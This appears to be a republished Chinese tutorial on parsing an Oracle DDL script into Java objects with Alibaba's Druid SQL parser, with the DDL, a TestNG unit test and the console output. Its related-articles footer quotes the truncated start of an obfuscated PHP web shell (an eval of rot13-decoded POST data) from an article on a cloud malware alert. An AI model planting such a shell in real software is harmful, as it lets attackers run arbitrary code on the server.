java-使用druid sqlparser将SQL DDL脚本转化为自定义的java对象

java-使用druid sqlparser将SQL DDL脚本转化为自定义的java对象

    • 一、引言
    • 二、环境
    • 三、待解析的DDL
    • 四、解析后的对象结构
    • 五、完整的UT类
    • 六、控制台输出
    • 总结

一、引言

在日常开发中,有些需要对SQL进行解析的场景,比如读取表结构信息,生成文档、逆向工程或是生成一些业务代码。例如,当我们需要对Oracle的DDL(数据定义语言)进行解析时,一个强大的SQL语法解析器可以帮助我们直接提取出表的结构信息,包括表名、备注、字段信息以及索引信息。这一功能在以下场景中尤为有用:

  • 代码生成:通过解析DDL,我们可以自动生成对应的实体类、数据库访问接口甚至是完整的数据库操作代码,极大地减少了手动编写重复代码的工作量,提高了开发效率。
  • 数据库逆向工程:在接手一个遗留系统或者对现有系统进行重构时,通过解析现有的DDL,可以快速地理解和重构数据库模型,为后续的开发工作打下坚实的基础。
  • 数据库文档化:自动从DDL中提取表结构信息,可以帮助我们生成数据库文档,使得数据库的设计和结构更加清晰,便于团队成员之间的沟通和协作。
  • 数据库迁移:在数据库迁移过程中,解析源数据库的DDL可以帮助我们快速地构建目标数据库的结构,减少迁移过程中的错误和风险。
    本文将记录了基于Druid SQLParser这一工具,对DDL进行解析的详细过程。

二、环境

  • JDK 17
  • Maven依赖
<dependency><groupId>com.alibaba</groupId><artifactId>druid</artifactId><version>1.2.16</version>
</dependency>

三、待解析的DDL

以下内容是基于PowerDesigner做的Oracle 10g的DDL脚本,也是我们需要解析的内容,其中包含drop、create、comment等语句,这里我们只对表、字段信息进行解析。

drop index "Index_1";
drop table "sr_user_info" cascade constraints;
/*==============================================================*/
/* Table: "sr_user_info"                                        */
/*==============================================================*/
create table "sr_user_info"  ("user_id"            VARCHAR2(64)                    not null,"type"               VARCHAR2(64)                    not null,"login_name"         VARCHAR2(64),"user_name"          VARCHAR2(64),"display_name"       VARCHAR2(256),"organization"       VARCHAR2(64),"region"             VARCHAR2(64),"login_count"        INTEGER,"request_count"      bigint,"status"             INTEGER,"last_login_date"    DATE,"create_date"        DATE,"update_date"        DATE,"money"              number(9,2),constraint PK_SR_USER_INFO primary key ("user_id")
);
comment on table "sr_user_info" is '记录并统计用户行为';
comment on column "sr_user_info"."user_id" is '用户ID';
comment on column "sr_user_info"."type" is '类型';
comment on column "sr_user_info"."login_name" is '登录名';
comment on column "sr_user_info"."user_name" is '用户名';
comment on column "sr_user_info"."display_name" is '显示名称';
comment on column "sr_user_info"."organization" is '组织结构';
comment on column "sr_user_info"."region" is '区域';
comment on column "sr_user_info"."login_count" is '登录次数';
comment on column "sr_user_info"."request_count" is '请求次数';
comment on column "sr_user_info"."status" is '状态';
comment on column "sr_user_info"."last_login_date" is '最后登录时间';
comment on column "sr_user_info"."create_date" is '创建时间';
comment on column "sr_user_info"."update_date" is '修改时间';
comment on column "sr_user_info"."money" is '金钱';
/*==============================================================*/
/* Index: "Index_1"                                             */
/*==============================================================*/
create unique index "Index_1" on "sr_user_info" ("user_id" ASC,"region" ASC
);

四、解析后的对象结构

以下是DDL解析后的对象结构。

{"TableCode":"sr_user_info","comment":"记录并统计用户行为","columns":[{"colCode":"user_id","comment":"用户ID","length":64,"pk":false,"type":"VARCHAR2"},{"colCode":"type","comment":"类型","length":64,"pk":false,"type":"VARCHAR2"},{"colCode":"login_name","comment":"登录名","length":64,"pk":false,"type":"VARCHAR2"},{"colCode":"user_name","comment":"用户名","length":64,"pk":false,"type":"VARCHAR2"},{"colCode":"display_name","comment":"显示名称","length":256,"pk":false,"type":"VARCHAR2"},{"colCode":"organization","comment":"组织结构","length":64,"pk":false,"type":"VARCHAR2"},{"colCode":"region","comment":"区域","length":64,"pk":false,"type":"VARCHAR2"},{"colCode":"login_count","comment":"登录次数","pk":false,"type":"INTEGER"},{"colCode":"request_count","comment":"请求次数","pk":false,"type":"bigint"},{"colCode":"status","comment":"状态","pk":false,"type":"INTEGER"},{"colCode":"last_login_date","comment":"最后登录时间","pk":false,"type":"DATE"},{"colCode":"create_date","comment":"创建时间","pk":false,"type":"DATE"},{"colCode":"update_date","comment":"修改时间","pk":false,"type":"DATE"},{"colCode":"money","length":9,"pk":false,"precision":2,"type":"number"}]
}

五、完整的UT类

运行下面的单元测试方法ddlParserTest()可以看到完整效果。需要注意的是如果表名、字段名中有些转意字符可以用SQLUtils.normalize(tableName)方法去掉。

import com.alibaba.druid.DbType;
import com.alibaba.druid.sql.SQLUtils;
import com.alibaba.druid.sql.ast.SQLExpr;
import com.alibaba.druid.sql.ast.expr.SQLIntegerExpr;
import com.alibaba.druid.sql.ast.statement.SQLColumnDefinition;
import com.alibaba.druid.sql.ast.statement.SQLCommentStatement;
import com.alibaba.druid.sql.ast.statement.SQLTableElement;
import com.alibaba.druid.sql.dialect.oracle.ast.stmt.OracleCreateTableStatement;
import com.alibaba.druid.sql.dialect.oracle.ast.stmt.OraclePrimaryKey;
import com.alibaba.druid.support.json.JSONUtils;
import org.testng.annotations.BeforeTest;
import org.testng.annotations.Test;import java.util.ArrayList;
import java.util.List;
import java.util.Map;public class SqlParserTest {private String ddl = "";public static class TabInfo{public String TableCode;public String comment;public List<ColumnInfo> columns = new ArrayList<>();}public static class ColumnInfo{public String colCode;public String comment;public String type;public Integer length;public Integer precision;public boolean pk = false;}@Testpublic void ddlParserTest(){//解析DDLvar statements = SQLUtils.parseStatements(ddl,DbType.oracle);//获取索引值java.util.function.BiFunction<List<SQLExpr>,Integer,Integer> getArg=(exprs, index)->{if(exprs==null || exprs.size()<index+1)return null;var expr = exprs.get(index);if(!(expr instanceof SQLIntegerExpr))return null;var intExpr = (SQLIntegerExpr) expr;var n = intExpr.getNumber().intValue();return n;};TabInfo tabInfo = new TabInfo();List<String> pkCols = new ArrayList<>();Map<String,ColumnInfo> colMap = new java.util.HashMap<>();//解析表名java.util.function.Consumer parserCreateTable = (statement) -> {OracleCreateTableStatement table = (OracleCreateTableStatement) statement;var tableName = table.getTableName();tableName = SQLUtils.normalize(tableName);System.out.println("--------------表名------------------");System.out.println("表名\t"+tableName);tabInfo.TableCode = tableName;for (SQLTableElement em : table.getTableElementList()) {if(em instanceof SQLColumnDefinition){var col = (SQLColumnDefinition) em;var colName = col.getColumnName();//字段名colName = SQLUtils.normalize(colName);var dataType = col.getDataType();//数据类型对象var type = dataType.getName();//类型var len = getArg.apply(dataType.getArguments(),0);//长度var precision = getArg.apply(dataType.getArguments(),1);//精度System.out.println(String.format("字段:%s\t%s\t%s\t%s", colName, type, len, precision));//var colInfo = new ColumnInfo();colInfo.colCode = colName;colInfo.type = type;colInfo.length = len;colInfo.precision = precision;colInfo.pk = pkCols.contains(colName);//是否主键字段colMap.put(colName, colInfo);tabInfo.columns.add(colInfo);}else if(em instanceof OraclePrimaryKey){var pk = (OraclePrimaryKey) em;var pkName = pk.getName().getSimpleName();//主键名pkName = SQLUtils.normalize(pkName);//主键字段列表pk.getColumns().forEach(x-> {var colName = x.getExpr().toString();colName = SQLUtils.normalize(colName);pkCols.add(colName);});System.out.println(String.format("主键:%s\t%s\t%s\t%s", pkName, pk.getComment()//注释, pkCols, JSONUtils.toJSONString(pk.getAttributes())));}}};//解析注释java.util.function.Consumer parserComment = (statement) -> {var com = (SQLCommentStatement) statement;System.out.println("------------------注释----------------");if(com.getType() == SQLCommentStatement.Type.TABLE){var tab = com.getOn();var tabName = tab.getName().getSimpleName();//表明var tabComment = com.getComment().toString();//表注释tabComment = SQLUtils.normalize(tabComment);System.out.println(String.format("tab注释:%s\t%s",tabName,tabComment));//tabInfo.comment = tabComment;}else if(com.getType() == SQLCommentStatement.Type.COLUMN){var tab = com.getOn();var tabName = tab.getName().toString();var colName = tab.getName().getSimpleName();//字段名colName = SQLUtils.normalize(colName);var comment = String.valueOf(com.getComment());//字段注释comment = SQLUtils.normalize(comment);System.out.println(String.format("col注释:%s\t%s",colName,comment));//var colInfo = colMap.get(colName);colInfo.comment = comment;}else if(com.getType() == SQLCommentStatement.Type.INDEX){}else if(com.getType() == SQLCommentStatement.Type.VIEW){}else{System.out.println("未知类型"+com.getType());}};//解析语句statements.forEach(statement -> {if(statement instanceof OracleCreateTableStatement){parserCreateTable.accept(statement);}else if(statement instanceof SQLCommentStatement){parserComment.accept(statement);}});System.out.println("\n------------------JSON----------------");String jsonStr = com.alibaba.fastjson.JSON.toJSONString(tabInfo,true);System.out.println(jsonStr);}@BeforeTestpublic void beforeTest() {ddl = "drop index \"Index_1\";\n" +"drop table \"sr_user_info\" cascade constraints;\n" +"/*==============================================================*/\n" +"/* Table: \"sr_user_info\"                                        */\n" +"/*==============================================================*/\n" +"create table \"sr_user_info\"  (\n" +"   \"user_id\"            VARCHAR2(64)                    not null,\n" +"   \"type\"               VARCHAR2(64)                    not null,\n" +"   \"login_name\"         VARCHAR2(64),\n" +"   \"user_name\"          VARCHAR2(64),\n" +"   \"display_name\"       VARCHAR2(256),\n" +"   \"organization\"       VARCHAR2(64),\n" +"   \"region\"             VARCHAR2(64),\n" +"   \"login_count\"        INTEGER,\n" +"   \"request_count\"      bigint,\n" +"   \"status\"             INTEGER,\n" +"   \"last_login_date\"    DATE,\n" +"   \"create_date\"        DATE,\n" +"   \"update_date\"        DATE,\n" +"   \"money\"              number(9,2),\n" +"   constraint PK_SR_USER_INFO primary key (\"user_id\")\n" +");\n" +"comment on table \"sr_user_info\" is '记录并统计用户行为';\n" +"comment on column \"sr_user_info\".\"user_id\" is '用户ID';\n" +"comment on column \"sr_user_info\".\"type\" is '类型';\n" +"comment on column \"sr_user_info\".\"login_name\" is '登录名';\n" +"comment on column \"sr_user_info\".\"user_name\" is '用户名';\n" +"comment on column \"sr_user_info\".\"display_name\" is '显示名称';\n" +"comment on column \"sr_user_info\".\"organization\" is '组织结构';\n" +"comment on column \"sr_user_info\".\"region\" is '区域';\n" +"comment on column \"sr_user_info\".\"login_count\" is '登录次数';\n" +"comment on column \"sr_user_info\".\"request_count\" is '请求次数';\n" +"comment on column \"sr_user_info\".\"status\" is '状态';\n" +"comment on column \"sr_user_info\".\"last_login_date\" is '最后登录时间';\n" +"comment on column \"sr_user_info\".\"create_date\" is '创建时间';\n" +"comment on column \"sr_user_info\".\"update_date\" is '修改时间';\n" +"comment on column \"sr_user_info\".\"money\" is '金钱';\n" +"/*==============================================================*/\n" +"/* Index: \"Index_1\"                                             */\n" +"/*==============================================================*/\n" +"create unique index \"Index_1\" on \"sr_user_info\" (\n" +"   \"user_id\" ASC,\n" +"   \"region\" ASC\n" +");\n";        }
}

六、控制台输出


--------------表名------------------
表名	sr_user_info
字段:user_id	VARCHAR2	64	null
字段:type	VARCHAR2	64	null
字段:login_name	VARCHAR2	64	null
字段:user_name	VARCHAR2	64	null
字段:display_name	VARCHAR2	256	null
字段:organization	VARCHAR2	64	null
字段:region	VARCHAR2	64	null
字段:login_count	INTEGER	null	null
字段:request_count	bigint	null	null
字段:status	INTEGER	null	null
字段:last_login_date	DATE	null	null
字段:create_date	DATE	null	null
字段:update_date	DATE	null	null
字段:money	number	9	2
主键:PK_SR_USER_INFO	null	[user_id]	{}
------------------注释----------------
tab注释:"sr_user_info"	记录并统计用户行为
col注释:user_id	用户ID
col注释:type	类型
col注释:login_name	登录名
col注释:user_name	用户名
col注释:display_name	显示名称
col注释:organization	组织结构
col注释:region	区域
col注释:login_count	登录次数
col注释:request_count	请求次数
col注释:status	状态
col注释:last_login_date	最后登录时间
col注释:create_date	创建时间
col注释:update_date	修改时间

总结

不同的DDL定义语法会解析为不同的statment对象,这里只演示了一种DDL格式,比较原生。开源项目中有些很多测试用例其中继承OracleSchemaStatVisitor解析,看着内聚性更强。还需要注意的是,有些DDL将字段注释写在create语句中,上面的代码还要做相应的修改。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/890026.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深度学习实战智能交通计数

本文采用YOLOv8作为核心算法框架&#xff0c;结合PyQt5构建用户界面&#xff0c;使用Python3进行开发。YOLOv8以其高效的实时检测能力&#xff0c;在多个目标检测任务中展现出卓越性能。本研究针对车辆目标数据集进行训练和优化&#xff0c;该数据集包含丰富的车辆目标图像样本…

rebase ‘A‘ onto ‘master‘ 和 merge ‘master‘ into ‘A‘有什么区别

在Git版本控制系统中&#xff0c;rebase 和 merge 是两种不同的操作&#xff0c;用于合并分支。rebase A onto master 和 merge master into A 虽然最终目的都是将两个分支的更改合并在一起&#xff0c;但它们在处理方式和结果上有所不同。 rebase ‘A’ onto ‘master’ 含义…

MySQL Explain 分析SQL语句性能

一、EXPLAIN简介 使用EXPLAIN关键字可以模拟优化器执行SQL查询语句&#xff0c;从而知道MySQL是如何处理你的SQL语句的。分析你的查询语句或是表结构的性能瓶颈。 &#xff08;1&#xff09; 通过EXPLAIN&#xff0c;我们可以分析出以下结果&#xff1a; 表的读取顺序数据读取…

关于SAP Router连接不稳定的改良

这个也是网上看来的&#xff0c;之前在用的时候也在想是不是建立一个长连接&#xff0c;就不至于断线。今天正好看到。 关于SAP Router连接不稳定的改良 我们在使用SAPRouter时经常会碰到断线&#xff0c;其发生原因有很多&#xff0c;如&#xff1a;网络不稳定、操作间隔时间…

游泳溺水识别数据集,对9984张原始图片进行YOLO,COCO JSON, VOC XML 格式的标注,平均识别率在91.7%以上

游泳溺水识别数据集&#xff1a; 对9984张原始图片进行YOLO&#xff0c;COCO JSON, VOC XML 格式的标注&#xff0c;平均识别率在91.7&#xff05;以上 &#xff0c;可识别泳池或者水库中是否有人溺水。 数据集分割 训练组98&#xff05; 9818图片 有效集&#xff05;…

Docker的容器编排

目录 1. 什么是容器编排&#xff08;Docker Compose&#xff09;2. 容器编排的功能3. 容器编排文件&#xff08;docker-compose.yml&#xff09;的介绍3.1 文件语法版本3.2 文件基本结构及常见指令 4. Docker Compose命令详解4.1 Docker Compose命令清单4.2 命令格式和常见选项…

Type 类型 总结

GetType、Typeof Type 官网资料 IsAssignableFrom IsAssignableTo 在C#中&#xff0c;Type.IsAssignableFrom方法用于判断一个类型是否可以从另一个类型赋值。它检查源类型是否是目标类型的基类或接口。 isAssignableFrom(Class<?> c) 标识 “当前Class 是否是给定…

温度传感器DS18B20详解

前面我们学习 DHT11 的时候提到了 DS18B20&#xff0c;它有很宽的测温范围&#xff0c;-55C ~ 125C。那么本次我们就来详细介绍一下 DS18B20。 DS18B20 是一种单总线数字温度传感器&#xff0c;它被广泛应用于各种领域&#xff0c;例如气象监测、室内温度控制、工业自动化等。…

基于MNE的EEGNet 神经网络的脑电信号分类实战(附完整源码)

利用MNE中的EEG数据&#xff0c;进行EEGNet神经网络的脑电信号分类实现&#xff1a; 代码&#xff1a; 代码主要包括一下几个步骤&#xff1a; 1&#xff09;从MNE中加载脑电信号&#xff0c;并进行相应的预处理操作&#xff0c;得到训练集、验证集以及测试集&#xff0c;每个…

LM芯片学习

1、LM7805稳压器 https://zhuanlan.zhihu.com/p/626577102?utm_campaignshareopn&utm_mediumsocial&utm_psn1852815231102873600&utm_sourcewechat_sessionhttps://zhuanlan.zhihu.com/p/626577102?utm_campaignshareopn&utm_mediumsocial&utm_psn18528…

2025山东科技大学考研专业课复习资料一览

[冲刺]2025年山东科技大学020200应用经济学《814经济学之西方经济学[宏观部分]》考研学霸狂刷870题[简答论述计算题]1小时前[强化]2025年山东科技大学085600材料与化工《817物理化学》考研强化检测5套卷22小时前[冲刺]2025年山东科技大学030100法学《704综合一[法理学、国际法学…

vue自定义颜色选择器(重置版)

实现效果 相较于上次发布的颜色选择器&#xff0c;这次加入了圆形的选择器&#xff0c;并且优化了代码。 <SquareColor ref"squareColor" :color"color" change"changeColor1" />setColor1() {// this.color rgba(255, 82, 111, 0.5)thi…

timestamp 时间戳转换成日期的方法 | java.util

时间戳通常是一个long数据&#xff08;注意java中赋值时需要带上L标识是long整型&#xff0c;否则int过长报错&#xff09; 代码实现 常用工具类&#xff1a; java.util.Datejava.time.Instantjava.time.format.DateTimeFormatter toInstant() 方法的功能是将一个 Date 对象…

Minio入门搭建图片服务器

Minio入门搭建图片服务器 闲来无事&#xff0c;之前一直想弄弄图片服务器的软件&#xff0c;搜索了一下有zimg、Nginx、Thumbor、Minio等。想想之前也用过minio&#xff0c;所以就用这个搭建啦。 1. docker安装 docker run -d -p 9000:9000 -p 9001:9001 \ …

从腾讯云的恶意文件查杀学习下PHP的eval函数

问题来自于腾讯云的主机安全通知&#xff1a; &#x1f680;一键接入&#xff0c;畅享GPT及AI大模型服务&#xff01;【顶级API中转品牌】&#xff1a; https://api.ablai.top/ 病毒文件副本内容如下&#xff1a; <?php function x($x){eval($x);}x(str_rot13(riny($_CBF…

CISC RISC

CISC&#xff1a;设计目标是通过复杂的指令来提高代码密度&#xff0c;减少指令数量&#xff0c;适合内存资源较为有限的系统。CISC处理器的硬件复杂度较高&#xff0c;但在某些应用场合&#xff08;如桌面计算机&#xff09;能够提供足够的性能。 RISC&#xff1a;设计目标是…

使用LSTM神经网络对股票日线行情进行回归训练(Pytorch版)

版权声明&#xff1a;本文为博主原创文章&#xff0c;如需转载请贴上原博文链接&#xff1a;使用LSTM神经网络对股票日线行情进行回归训练&#xff08;Pytorch版&#xff09;-CSDN博客 前言&#xff1a;近期在尝试使用lstm对股票日线数据进行拟合&#xff0c;初见成型但是效果不…

睡岗和玩手机数据集,4653张原始图,支持YOLO,VOC XML,COCO JSON格式的标注

睡岗和玩手机数据集&#xff0c;4653张原始图&#xff0c;支持YOLO&#xff0c;VOC XML&#xff0c;COCO JSON格式的标注 数据集分割 训练组70&#xff05; 3257图片 有效集20&#xff05; 931图片 测试集10&#xff05; 465图片 预处理 没有采用任何预处…

Pandas 索引

在 Pandas 中&#xff0c;索引&#xff08;Index&#xff09;是 DataFrame 和 Series 的核心组成部分&#xff0c;用于标识和访问数据。索引提供了快速、灵活和强大的数据检索方法。以下是关于 Pandas 索引的一些关键点&#xff1a; 1. 创建索引 当创建一个 DataFrame 或 Seri…

labml.ai Deep Learning Paper Implementations (带注释的 PyTorch 版论文实现)

labml.ai Deep Learning Paper Implementations {带注释的 PyTorch 版论文实现} 1. labml.ai2. labml.ai Deep Learning Paper Implementations3. Sampling Techniques for Language Models (语言模型的采样技术)4. Multi-Headed Attention (MHA)References 1. labml.ai https…